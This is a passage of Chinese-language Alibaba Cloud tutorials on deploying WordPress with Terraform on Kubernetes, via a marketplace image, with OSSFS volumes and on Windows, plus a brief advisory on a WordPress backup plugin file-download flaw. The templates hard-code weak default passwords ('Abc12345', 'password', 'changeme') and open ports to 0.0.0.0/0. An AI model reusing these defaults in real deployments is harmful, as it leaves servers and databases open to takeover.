                      指定new_nat_gateway来决定是否要为模板中定义的 VPC 自动创建NAT网关,以保证Kubernetes集群成功创建。

                      resource "alicloud_nat_gateway" "default" {
                        count  = var.new_nat_gateway == "true" ? 1 : 0
                        vpc_id = var.vpc_id == "" ? join("", alicloud_vpc.vpc.*.id) : var.vpc_id
                        name   = var.example_name
                      }                                

                    • 弹性网卡
                      resource "alicloud_eip" "default" {
                        count     = var.new_nat_gateway == "true" ? 1 : 0
                        bandwidth = 10
                      }
                    • 绑定弹性网卡
                      resource "alicloud_eip_association" "default" {
                        count         = var.new_nat_gateway == "true" ? 1 : 0
                        allocation_id = alicloud_eip.default[0].id
                        instance_id   = alicloud_nat_gateway.default[0].id
                      }
                    • 添加SNAT条目

                      在模板中定义的NAT网关下自动添加SNAT条目来保证Kubernetes集群成功创建。

                      resource "alicloud_snat_entry" "default" {
                        count         = var.new_nat_gateway == "false" ? 0 : length(var.vswitch_ids) > 0 ? length(var.vswitch_ids) : length(var.vswitch_cidrs)
                        snat_table_id = alicloud_nat_gateway.default[0].snat_table_ids
                        source_vswitch_id = length(var.vswitch_ids) > 0 ? split(",", join(",", var.vswitch_ids))[count.index % length(split(",", join(",", var.vswitch_ids)))] : length(var.vswitch_cidrs) < 1 ? "" : split(",", join(",", alicloud_vswitch.vswitches.*.id))[count.index % length(split(",", join(",", alicloud_vswitch.vswitches.*.id)))]
                        snat_ip = alicloud_eip.default[0].ip_address
                      }

                    • 容器服务Kubernetes集群

                      改变k8s_number的值可同时创建多个Kubernetes集群。

                      resource "alicloud_cs_kubernetes" "k8s" {
                        count = var.k8s_number
                        name = var.k8s_name_prefix == "" ? format(
                          "%s-%s",
                          var.example_name,
                          format(var.number_format, count.index + 1),
                          ) : format(
                          "%s-%s",
                          var.k8s_name_prefix,
                          format(var.number_format, count.index + 1),
                        )
                        vswitch_ids = [length(var.vswitch_ids) > 0 ? split(",", join(",", var.vswitch_ids))[count.index % length(split(",", join(",", var.vswitch_ids)))] : length(var.vswitch_cidrs) < 1 ? "" : split(",", join(",", alicloud_vswitch.vswitches.*.id))[count.index % length(split(",", join(",", alicloud_vswitch.vswitches.*.id)))]]
                        new_nat_gateway       = false
                        master_instance_types = [var.master_instance_type == "" ? data.alicloud_instance_types.default.instance_types[0].id : var.master_instance_type]
                        worker_instance_types = [var.worker_instance_type == "" ? data.alicloud_instance_types.default.instance_types[0].id : var.worker_instance_type]
                        worker_numbers        = [var.k8s_worker_number]
                        master_disk_category  = var.master_disk_category
                        worker_disk_category  = var.worker_disk_category
                        master_disk_size      = var.master_disk_size
                        worker_disk_size      = var.master_disk_size
                        password              = var.ecs_password
                        pod_cidr              = var.k8s_pod_cidr
                        service_cidr          = var.k8s_service_cidr
                        enable_ssh            = true
                        install_cloud_monitor = true
                        depends_on = [alicloud_snat_entry.default]
                      }                                

                      说明 指定kube_config = "~/.kube/config"可在Kubernetes集群创建完成后将Kube Config内容自动下载并存放在文件~/.kube/cofig中。

                  • outputs.tf

                    该文件定义了输出参数。作为执行的一部分而创建的资源会生成这些输出参数。和ROS模板指定的输出参数类似。例如,该模板将部署一个Kubernetes集群。以下输出参数将提供集群ID和其他资源参数。

                    // Output VPC
                    output "vpc_id" {
                      description = "The ID of the VPC."
                      value       = alicloud_cs_kubernetes.k8s[0].vpc_id
                    }
                    
                    output "vswitch_ids" {
                      description = "List ID of the VSwitches."
                      value       = [alicloud_cs_kubernetes.k8s.*.vswitch_ids]
                    }
                    
                    output "nat_gateway_id" {
                      value = alicloud_cs_kubernetes.k8s[0].nat_gateway_id
                    }
                    
                    // Output kubernetes resource
                    output "cluster_id" {
                      description = "ID of the kunernetes cluster."
                      value       = [alicloud_cs_kubernetes.k8s.*.id]
                    }
                    
                    output "security_group_id" {
                      description = "ID of the Security Group used to deploy kubernetes cluster."
                      value       = alicloud_cs_kubernetes.k8s[0].security_group_id
                    }
                    
                    output "worker_nodes" {
                      description = "List worker nodes of cluster."
                      value       = [alicloud_cs_kubernetes.k8s.*.worker_nodes]
                    }
                    
                    output "master_nodes" {
                      description = "List master nodes of cluster."
                      value       = [alicloud_cs_kubernetes.k8s.*.master_nodes]
                    }

                  • variables.tf

                    该文件包含可传递到main.tf的变量,可帮助您自定义环境。

                    # common variables
                    variable "availability_zone" {
                      description = "The available zone to launch ecs instance and other resources."
                      default     = ""
                    }
                    
                    variable "number_format" {
                      description = "The number format used to output."
                      default     = "%02d"
                    }
                    
                    variable "example_name" {
                      default = "tf-example-kubernetes"
                    }
                    
                    # Instance typs variables
                    variable "cpu_core_count" {
                      description = "CPU core count is used to fetch instance types."
                      default     = 2
                    }
                    
                    variable "memory_size" {
                      description = "Memory size used to fetch instance types."
                      default     = 4
                    }
                    
                    # VPC variables
                    variable "vpc_name" {
                      description = "The vpc name used to create a new vpc when 'vpc_id' is not specified. Default to variable `example_name`"
                      default     = ""
                    }
                    
                    variable "vpc_id" {
                      description = "A existing vpc id used to create several vswitches and other resources."
                      default     = ""
                    }
                    
                    variable "vpc_cidr" {
                      description = "The cidr block used to launch a new vpc when 'vpc_id' is not specified."
                      default     = "10.1.0.0/21"
                    }
                    
                    # VSwitch variables
                    variable "vswitch_name_prefix" {
                      description = "The vswitch name prefix used to create several new vswitches. Default to variable `example_name`"
                      default     = ""
                    }
                    
                    variable "vswitch_ids" {
                      description = "List of existing vswitch id."
                      type        = list(string)
                      default     = []
                    }
                    
                    variable "vswitch_cidrs" {
                      description = "List of cidr blocks used to create several new vswitches when 'vswitch_ids' is not specified."
                      type        = list(string)
                      default     = ["10.1.2.0/24"]
                    }
                    
                    variable "new_nat_gateway" {
                      description = "Whether to create a new nat gateway. In this template, a new nat gateway will create a nat gateway, eip and server snat entries."
                      default     = "true"
                    }
                    
                    # Cluster nodes variables
                    variable "master_instance_type" {
                      description = "The ecs instance type used to launch master nodes. Default from instance typs datasource."
                      default     = ""
                    }
                    
                    variable "worker_instance_type" {
                      description = "The ecs instance type used to launch worker nodes. Default from instance typs datasource."
                      default     = ""
                    }
                    
                    variable "master_disk_category" {
                      description = "The system disk category used to launch one or more master nodes."
                      default     = "cloud_efficiency"
                    }
                    
                    variable "worker_disk_category" {
                      description = "The system disk category used to launch one or more worker nodes."
                      default     = "cloud_efficiency"
                    }
                    
                    variable "master_disk_size" {
                      description = "The system disk size used to launch one or more master nodes."
                      default     = "40"
                    }
                    
                    variable "worker_disk_size" {
                      description = "The system disk size used to launch one or more worker nodes."
                      default     = "40"
                    }
                    
                    variable "ecs_password" {
                      description = "The password of instance."
                      default     = "Abc12345"
                    }
                    
                    variable "k8s_number" {
                      description = "The number of kubernetes cluster."
                      default     = 1
                    }
                    
                    variable "k8s_worker_number" {
                      description = "The number of worker nodes in each kubernetes cluster."
                      default     = 3
                    }
                    
                    variable "k8s_name_prefix" {
                      description = "The name prefix used to create several kubernetes clusters. Default to variable `example_name`"
                      default     = ""
                    }
                    
                    variable "k8s_pod_cidr" {
                      description = "The kubernetes pod cidr block. It cannot be equals to vpc's or vswitch's and cannot be in them."
                      default     = "172.20.0.0/16"
                    }
                    
                    variable "k8s_service_cidr" {
                      description = "The kubernetes service cidr block. It cannot be equals to vpc's or vswitch's or pod's and cannot be in them."
                      default     = "172.21.0.0/20"
                    }

                  步骤二:执行Kubernetes Terraform脚本

                  1. 在存放以上文件的路径,运行terraform init命令,初始化工作空间。

                    $ terraform init
                    
                    Initializing the backend...
                    
                    Initializing provider plugins...
                    - Checking for available provider plugins...
                    - Downloading plugin for provider "alicloud" (hashicorp/alicloud) 1.62.0...
                    
                    The following providers do not have any version constraints in configuration,
                    so the latest version was installed.
                    
                    To prevent automatic upgrades to new major versions that may contain breaking
                    changes, it is recommended to add version = "..." constraints to the
                    corresponding provider blocks in configuration, with the constraint strings
                    suggested below.
                    
                    * provider.alicloud: version = "~> 1.62"
                    
                    Terraform has been successfully initialized!
                    						

                  2. 运行terraform apply 命令,开始创建Kubernetes集群。

                    $ terraform apply
                    
                    data.alicloud_instance_types.default: Refreshing state...
                    data.alicloud_zones.default: Refreshing state...
                    
                    An execution plan has been generated and is shown below.
                    Resource actions are indicated with the following symbols:
                      + create
                    
                    Terraform will perform the following actions:
                    ...
                    
                    Plan: 7 to add, 0 to change, 0 to destroy.
                    
                    Do you want to perform these actions?
                      Terraform will perform the actions described above.
                      Only 'yes' will be accepted to approve.
                    
                      Enter a value: yes
                    
                    alicloud_vpc.vpc: Creating...
                    ...
                    
                    Apply complete! Resources: 7 added, 0 changed, 0 destroyed.
                    
                    Outputs:    
                    
                    cluster_id = [
                        c0f2e04c77e234******
                    ]
                    ......
                    vswitch_ids = [
                        vsw-bp1c3hfcd6l80izqc3tbx
                    ]
                    						

                    terraform apply命令执行完毕后,输出集群ID和其他参数。除此之外,将Kubernetes的Kube Config文件存放在了目录 ~/.kube 下。

                    您现在可以在容器服务控制台查看通过terraform创建的Kubernetes集群,查看集群、节点、日志和容器等信息。

                  步骤三:下载Wordpress的Terraform模板

                  在创建好Kubernetes并完成了Kube Config的下载后,接下来就可以在Kubernetes上部署Wordpress。 您可以从GitHub上下载创建Wordpress的 Terraform模板(模板下载地址,模板中定义了创建Wordpress的相关资源和配置,帮助您完成在Kubernetes集群的快速搭建Wordpress。更多 Terraform Kubernetes的操作可参考Terraform官网的 Kubernetes 文档介绍

                  模板中包含以下文件:

                  • localvolumes.tf

                    定义存储Mysql持久化数据的Persistent Volume。

                    resource "kubernetes_persistent_volume" "mysql" {
                      metadata {
                        name = "local-pv-mysql"
                        labels {
                          type = "local"
                        }
                      }
                      spec {
                        capacity {
                          storage = "20Gi"
                        }
                        access_modes = ["ReadWriteOnce"]
                        persistent_volume_source {
                          host_path {
                            path = "/tmp/data/pv-mysql"
                          }
                        }
                      }
                    }

                  • mysql.tf

                    创建MySQL密码凭证Secret,并部署MySQL。

                    • secret
                      resource "kubernetes_secret" "mysql" {
                        metadata {
                          name = "mysql-pass"
                        }
                      
                        data {
                          password = "${var.mysql_password}"
                        }
                      }
                    • Deployment
                      resource "kubernetes_service" "mysql" {
                        metadata {
                          name = "wordpress-mysql"
                          labels {
                            app = "wordpress"
                          }
                        }
                        spec {
                          port {
                            port = 3306
                          }
                          selector {
                            app = "wordpress"
                            tier = "${kubernetes_replication_controller.mysql.spec.0.selector.tier}"
                          }
                          cluster_ip = "None"
                        }
                      }
                      
                      resource "kubernetes_replication_controller" "mysql" {
                        metadata {
                          name = "wordpress-mysql"
                          labels {
                            app = "wordpress"
                          }
                        }
                        spec {
                          selector {
                            app = "wordpress"
                            tier = "mysql"
                          }
                          template {
                            container {
                              image = "mysql:${var.mysql_version}"
                              name  = "mysql"
                      
                              env {
                                name = "MYSQL_ROOT_PASSWORD"
                                value_from {
                                  secret_key_ref {
                                    name = "${kubernetes_secret.mysql.metadata.0.name}"
                                    key = "password"
                                  }
                                }
                              }
                      
                              port {
                                container_port = 3306
                                name = "mysql"
                              }
                      
                              volume_mount {
                                name = "mysql-persistent-storage"
                                mount_path = "/var/lib/mysql"
                              }
                            }
                      
                            volume {
                              name = "mysql-persistent-storage"
                              persistent_volume_claim {
                                claim_name = "${kubernetes_persistent_volume_claim.mysql.metadata.0.name}"
                              }
                            }
                          }
                        }
                      }
                      									

                  • wordpress.tf

                    部署Wordpress。

                    resource "kubernetes_service" "wordpress" {
                      metadata {
                        name = "wordpress"
                        labels {
                          app = "wordpress"
                        }
                      }
                      spec {
                        port {
                          port = 80
                        }
                        selector {
                          app = "wordpress"
                          tier = "${kubernetes_replication_controller.wordpress.spec.0.selector.tier}"
                        }
                        type = "LoadBalancer"
                      }
                    }
                    
                    resource "kubernetes_replication_controller" "wordpress" {
                      metadata {
                        name = "wordpress"
                        labels {
                          app = "wordpress"
                        }
                      }
                      spec {
                        selector {
                          app = "wordpress"
                          tier = "frontend"
                        }
                        template {
                          container {
                            image = "wordpress:${var.wordpress_version}-apache"
                            name  = "wordpress"
                    
                            env {
                              name = "WORDPRESS_DB_HOST"
                              value = "wordpress-mysql"
                            }
                            env {
                              name = "WORDPRESS_DB_PASSWORD"
                              value_from {
                                secret_key_ref {
                                  name = "${kubernetes_secret.mysql.metadata.0.name}"
                                  key = "password"
                                }
                              }
                            }
                    
                            port {
                              container_port = 80
                              name = "wordpress"
                            }
                    
                            volume_mount {
                              name = "wordpress-persistent-storage"
                              mount_path = "/var/www/html"
                            }
                          }
                    
                          volume {
                            name = "wordpress-persistent-storage"
                            persistent_volume_claim {
                              claim_name = "${kubernetes_persistent_volume_claim.wordpress.metadata.0.name}"
                            }
                          }
                        }
                      }
                    }

                  • outputs.tf

                    该文件定义了输出参数。输出Loadbalancer Public IP,借助该IP地址可直接访问部署好的Wordpress应用。

                    output "slb_ip" {
                      value = "${kubernetes_service.wordpress.load_balancer_ingress.0.ip}"
                    }

                  • variables.tf

                    该文件包含了部署MySQL和WordPress所依赖的参数。

                    variable "wordpress_version" {
                      description = "The version of wordpress. Default to 4.7.3."
                      default = "4.7.3"
                    }
                    variable "mysql_password" {
                      description = "Please input mysql password."
                    }
                    variable "mysql_version" {
                      description = "The version of mysql which wordpress used. Default to 5.6."
                      default = "5.6"
                    }

                  步骤四:执行Wordpress Terraform脚本

                  首先定位到您存放以上文件的目录,如 /root/terraform/kuberneters-wordpress。运行terraform apply命令,开始在创建好的Kubernetes集群上部署MySQL和WordPress应用。值得注意的是,由于变量mysql_password在变量文件中没有定义默认值,因此在执行命令时需要指定该参数值。

                  $ terraform apply -var 'mysql_password=Abc1234'
                  
                  An execution plan has been generated and is shown below.
                  Resource actions are indicated with the following symbols:
                    + create
                  
                  Terraform will perform the following actions:
                  ...
                  
                  Plan: 9 to add, 0 to change, 0 to destroy.
                  
                  Do you want to perform these actions?
                    Terraform will perform the actions described above.
                    Only 'yes' will be accepted to approve.
                  
                    Enter a value: yes
                  
                  kubernetes_secret.mysql: Creating...
                    data.%:                      "" => "1"
                    data.password:               "<sensitive>" => "<sensitive>"
                    metadata.#:                  "" => "1"
                    metadata.0.generation:       "" => "<computed>"
                    metadata.0.name:             "" => "mysql-pass"
                  
                  ......
                  
                  Apply complete! Resources: 9 added, 0 changed, 0 destroyed.
                  
                  Outputs:
                  
                  slb_ip = 47.99.xx.xx

                  步骤五:访问WordPress

                  根据负载均衡Public IP,在浏览器中输入IP地址即可实现对部署好的Wordpress直接访问:

                  1. 进入WordPress欢迎页面,选择语言,然后继续配置。wp_step1
                  2. 输入站点名称以及管理员的用户名和密码。选择安装WordPress。wp_step2
                  3. WordPress安装完成后,单击 登录,输入管理员的用户名和密码,进入WordPress应用。wp_step3

                  上一篇:一键创建容器镜像仓库和授权RAM账号

                  下一篇:使用Terraform创建托管版Kubernetes

                  相关文档

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  云市场镜像搭建WordPress_搭建WordPress博客平台_搭建网站_建站教程_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 云市场镜像搭建WordPress

                  更新时间:2020-05-12 17:22:48

                  本页目录

                  WordPress是使用PHP语言开发的博客平台,在支持PHP和MySQL数据库的服务器上,您可以用WordPress架设自己的网站,也可以用作内容管理系统(CMS)。本文介绍如何使用云市场的WordPress镜像搭建WordPress网站。

                  前提条件

                  • 已注册阿里云账号。如还未注册,请先完成账号注册
                  • 已创建网络类型为专有网络的安全组,并且安全组的入方向添加规则并放行80端口及8100端口,如果您使用SSH远程连接Linux实例,需要放行22端口。 具体操作请参见添加安全组规则
                    协议类型 端口范围 优先级 授权类型 授权对象 用途
                    自定义TCP 80/80 1 IPv4地址段访问 本示例中,设为0.0.0.0/0,表示允许所有IP地址的访问。建议您在实际场景中填写具体的IP地址或CIDR网段更安全。 访问web的默认端口号。
                    自定义TCP 8100/8100 1 IPv4地址段访问 本示例中,设为0.0.0.0/0,表示允许所有IP地址的访问。建议您在实际场景中填写具体的IP地址或CIDR网段更安全。 用于访问MySQL数据库管理工具phpMyAdmin。
                    自定义TCP 22/22 1 IPv4地址段访问 本示例中,设为0.0.0.0/0,表示允许所有IP地址的访问。建议您在实际场景中填写具体的IP地址或CIDR网段更安全。 用于SSH远程连接Linux实例。

                  背景信息

                  阿里云云市场提供WordPress镜像,用于快捷搭建WordPress网站,不需要部署Web环境,降低了建站的门槛,适用于刚开始使用阿里云ECS建站的企业或个人用户。本示例中使用的镜像基础环境如下。

                  • 操作系统版本:CentOS 7.4
                  • ngnix版本:1.14
                  • PHP版本:7.0
                  • MySQL版本:5.7.22

                    该镜像提供的MySQL账号信息如下。

                    • 用户名:root
                    • 密码:mysql57@onesul.com

                  搭建WordPress网站

                  1. 通过云市场购买免费版WordPress镜像。
                    1. 单击wordpress博客系统进入镜像详情页。
                    2. 单击立即购买,按提示步骤根据您的实际业务需求购买ECS实例。

                      说明

                      • 如果要备案,您购买的ECS实例需包月3个月及以上(包含续费),且有公网带宽。备案限制条件请参见限制说明
                      • 勾选分配公网IPv4地址,并选择已创建的安全组。

                    3. 创建成功后,获取实例的公网IP地址。
                  2. 安装WordPress。
                    1. 在浏览器地址栏中输入http://实例公网IP,屏幕上会显示提示页面。
                    2. 选择语言(本示例中,选择简体中文),单击继续,然后单击现在就开始!
                    3. 填写镜像提供的数据库连接信息。

                      默认参数如下:

                      • 用户名:root
                      • 密码:mysql57@onesul.com
                      wp1

                    4. 单击提交,然后单击现在安装
                    5. 根据您的业务需求填写基本信息,这些信息以后可以再次修改。填写完成后单击安装WordPress

                      填写信息参数说明:

                      • 站点标题:WordPress网站的名称。例如:demowp。
                      • 用户名:用户登录WordPress时使用的用户名,请注意安全性。例如:testwp。
                      • 密码:建议用户设置安全性高的密码。例如:Wp.123456。
                      • 您的电子邮件:用于接收通知的电子邮件。例如:1234567890@aliyun.com。

                    6. 单击登录
                    7. 使用您设置的用户名和密码登录WordPress网站。

                      出现如下界面,表示成功搭建WordPress网站。1

                  WordPress网站域名解析

                  为WordPress网站设置一个单独的域名,以方便您的用户对WordPress网站的访问。您也可以通过实例公网IP直接访问您的WordPress网站,但不推荐您这样操作。如果您已有域名或者想为WordPress网站注册一个域名,可以参考以下步骤。本示例注册域名为www.WordPress.EcsQuickStart.com

                  1. 注册域名。详情请参见注册通用域名
                  2. 备案。如果您的域名指向的网站托管在阿里云中国内地节点服务器,您需要进行备案。如果您是首次备案,请参见首次备案,其他情况请参见ICP备案流程概述
                  3. 解析域名。将域名指向实例公网IP。

                    域名解析是使用域名访问您的网站的必备环节。具体操作流程,请参见设置域名解析

                  4. 域名解析完成后,使用浏览器访问http://实例公网IP:8100

                    进入MySQL数据库管理工具phpMyAdmin的登录页面。wp2

                  5. 使用镜像提供的数据库用户名和密码,登录MySQL数据库管理工具phpMyAdmin。
                  6. 选择WordPress网站的数据库wordpress,单击SQL,并执行如下SQL语句。

                    说明 SQL语句中使用replace方法,将数据库表中实例公网IP替换为您的域名。

                    /*修改站点url和主页地址*/
                    UPDATE wp_options SET option_value = replace(option_value, 'http://实例公网IP', 'http://www.WordPress.EcsQuickStart.com') WHERE option_name = 'home' OR option_name = 'siteurl'; 
                    1

                  7. 单击执行,成功为WordPress网站设置域名。

                  上一篇:手动部署LNMP环境(CentOS 7)

                  下一篇:使用ROS搭建WordPress

                  相关文档

                  相关产品

                  • 云服务器 ECS

                    云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                  • 专有网络 VPC

                    专有网络VPC(Virtual Private Cloud)是用户基于阿里云创建的自定义私有网络, 不同的专有网络之间二层逻辑隔离,用户可以在自己创建的专有网络内创建和管理云产品实例,比如ECS、负载均衡、RDS等。

                  • 弹性公网 IP

                    弹性公网IP(Elastic IP Address,简称EIP),是可以独立购买和持有的公网IP地址资源。EIP可绑定到专有网络类型的ECS实例、专有网络类型的私网SLB实例和NAT网关上。

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  【漏洞公告】WordPress 插件 Wordpress DB Backup 任意文件下载漏洞_内容管理系统(CMS)_Web应用安全漏洞_安全漏洞预警_安全公告和技术-阿里云 Fri, 02 May 2025 09:39:04 +0800 【漏洞公告】WordPress 插件 Wordpress DB Backup 任意文件下载漏洞

                  更新时间:2017-11-23 17:49:40

                  本页目录

                  漏洞描述

                  Wordpress DB Backup 插件存在一个严重的安全漏洞,可以导致黑客远程下载服务器上任意文件。攻击者可构造恶意请求,下载服务器上的敏感文件,进而植入网站后门控制网站服务器主机。

                  受影响版本

                  Wordpress DB Backup <= 4.5

                  修复方案

                  进入 Wordpress 管理后台,将 Wordpress DB Backup 插件更新至最新版本。

                  上一篇:【漏洞公告】WordPress 弱口令

                  下一篇:【漏洞公告】92game.net 网站管理系统弱口令漏洞

                  相关文档

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  使用 OSSFS 数据卷实现 WordPress 附件共享_最佳实践_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 使用 OSSFS 数据卷实现 WordPress 附件共享

                  更新时间:2019-01-23 00:36:13

                  编辑 我的收藏

                  新浪微博 微信 钉钉

                  本页目录

                  本文档介绍如何通过在阿里云容器服务上创建 OSSFS 数据卷来实现 WordPress 的附件在不同容器之间的共享。

                  场景

                  Docker 容器的兴起使得 WordPress 的部署变得很简单。通过 阿里云容器服务,您可以使用编排模板一键部署 WordPress。

                  Note 有关使用阿里云容器服务创建 WordPress 应用的详细信息,参见 通过编排模板创建 WordPress

                  本示例使用以下编排模板创建一个名为 wordpress 的应用。

                  web:
                    image: registry.aliyuncs.com/acs-sample/wordpress:4.3
                    ports:
                      - '80'
                    environment:
                      WORDPRESS_AUTH_KEY: changeme
                      WORDPRESS_SECURE_AUTH_KEY: changeme
                      WORDPRESS_LOGGED_IN_KEY: changeme
                      WORDPRESS_NONCE_KEY: changeme
                      WORDPRESS_AUTH_SALT: changeme
                      WORDPRESS_SECURE_AUTH_SALT: changeme
                      WORDPRESS_LOGGED_IN_SALT: changeme
                      WORDPRESS_NONCE_SALT: changeme
                      WORDPRESS_NONCE_AA: changeme
                    restart: always
                    links:
                      - 'db:mysql'
                    labels:
                      aliyun.logs: /var/log
                      aliyun.probe.url: http://container/license.txt
                      aliyun.probe.initial_delay_seconds: '10'
                      aliyun.routing.port_80: http://wordpress
                      aliyun.scale: '3'
                  db:
                    image: registry.aliyuncs.com/acs-sample/mysql:5.7
                    environment:
                      MYSQL_ROOT_PASSWORD: password
                    restart: always
                    labels:
                      aliyun.logs: /var/log/mysql

                  该应用包含一个 MySQL 容器和三个 WordPress 容器(aliyun.scale: '3' 是阿里云容器服务的扩展标签,指定容器的数量。有关阿里云容器服务支持的标签,参见 标签说明)。WordPress 容器通过 link 访问 MySQL。通过定义 aliyun.routing.port_80: http://wordpress 标签实现了三个 WordPress 容器的负载均衡(详细信息参见 简单路由(支持HTTP/HTTPS))。

                  本示例部署简单,功能齐全,但其实存在一个致命的缺陷。WordPress 上传的附件是保存在本地磁盘上的,不同容器之间不能共享。当请求被分配到其它容器时,附件就打不开了。

                  解决方案

                  本文档介绍如何利用阿里云容器服务的 OSSFS 数据卷(OSSFS volume),无需改动任何代码,即可实现 WordPress 附件在不同容器之间的共享。

                  OSSFS 数据卷是阿里云容器服务提供的第三方数据卷,通过将各种云存储(比如 OSS)包装成数据卷,直接挂载在容器上。不同容器间可以共享数据卷,并在容器重启、迁移时自动重新挂载数据卷。

                  操作流程

                  1. 创建 OSSFS 数据卷。
                    1. 容器服务管理控制台,单击左侧导航栏中的数据卷,即可使用数据卷功能。
                    2. 选择需要创建数据卷的集群并单击右上角的创建,按照提示创建 OSSFS 数据卷。

                      有关如何创建 OSSFS 数据卷的详细信息,参见 创建 OSSFS 数据卷

                    本示例中创建的 OSSFS 数据卷名称为 wp_upload。容器服务会在集群的所有节点上使用同一名称创建数据卷。如下图所示。



                  2. 使用 OSSFS 数据卷。

                    WordPress 的附件,默认存放在 /var/www/html/wp-content/uploads 中。本示例中,只需将 OSSFS 数据卷映射到该目录,即可实现在不同的 WordPress 容器之间共享同一个 OSS bucket。

                    1. 容器服务管理控制台,在 Swarm 菜单下,单击左侧导航栏中的应用
                    2. 选择本示例中所使用的集群,选择本示例中所创建的应用wordpress 并单击右侧的变更配置


                    3. 在模板中添加 OSSFS 数据卷到 WordPress 目录的映射。

                      Note 您必须修改 应用版本,否则无法重新部署应用。



                    4. 单击确定,重新部署应用。
                  3. 打开 WordPress,上传附件,OSS bucket 里就能看到上传的附件了。

                  上一篇:节点重启操作最佳实践

                  下一篇:使用 Docker Compose 测试集群网络连通性

                  相关文档

                  相关产品

                  • 容器服务(已停止服务)

                    容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

                  • 容器服务Kubernetes版

                    容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

                  • 容器镜像服务

                    容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  手动搭建WordPress(Windows)_搭建WordPress博客平台_搭建网站_建站教程_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 手动搭建WordPress(Windows)

                  更新时间:2020-03-25 21:09:38

                  本页目录

                  本教程介绍如何在Windows操作系统的ECS实例上搭建WordPress网站。

                  前提条件

                  • 已注册阿里云账号。如还未注册,请先完成账号注册
                  • 已创建网络类型为专有网络的安全组,并且安全组的入方向添加规则并放行80端口及3389端口。 添加规则的具体操作请参见添加安全组规则
                  • 已创建Windows操作系统的ECS实例,并且已经部署Web环境,详情请参见部署Web环境。本教程使用的软件版本如下。
                    • 操作系统:Windows Server 2012 R2 64位中文版
                    • IIS服务版本:7.5
                    • PHP版本:7.0.28
                    • MySQL版本:5.7
                    • WordPress版本:5.3.2

                  说明 当您使用不同软件版本时,可能需要根据实际情况调整参数配置。

                  搭建WordPress网站

                  1. 通过ECS控制台,远程连接部署好Web环境的ECS实例,下载WordPress。
                    1. 远程连接ECS实例。

                      详情请参见通过Workbench远程连接Windows实例

                    2. 前往WordPress官网下载WordPress安装包

                      本教程下载的版本为5.3.2。

                      说明 阿里云中国内地地域的节点服务器,下载WordPress会出现报错429 Too Many Requests。建议您多次尝试,或者通过第三方下载WordPress。

                    3. 解压WordPress安装包。

                      本教程将安装包解压至C:wordpress目录下。

                  2. 为WordPress网站创建MySQL数据库。
                    1. 进入MySQL安装目录下的bin文件夹,按下shift键的同时,单击鼠标右键,然后选择在此处打开命令窗口

                      1

                    2. 打开MySQL数据库。

                      mysql -u root -p

                    3. 创建数据库。

                      本教程为WordPress网站创建数据库wordpress。

                      create database wordpress;

                  3. 配置WordPress。
                    1. 在WordPress解压路径C:wordpress下,找到wp-config-sample.php文件,复制该文件,并将副本文件重命名为wp-config.php
                    2. 使用文本编辑器打开wp-config.php文件,修改与创建好的MySQL数据库wordpress有关的信息。

                      如下图所示:1

                    3. 保存wp-config.php文件。
                  4. 在服务器管理器中添加wordpress网站。
                    1. 在Windows任务栏找到服务器管理器并打开。
                    2. 在服务器管理器右侧导航栏,单击工具 > Internet Information Service (IIS)管理器

                      1

                    3. 连接列表,单击服务器名称 > 网站
                    4. 将已绑定80端口的网站删除,或者修改80端口为其他未被占用的端口号,例如:8080端口。

                      1

                    5. 在右侧操作列,单击添加网站,添加wordpress网站。

                      添加信息如下图所示:1

                      配置说明:

                      • 网站名称:自定义网站名称,本教程使用wordpress作为网站名称。
                      • 应用程序池:DefaultAppPool。
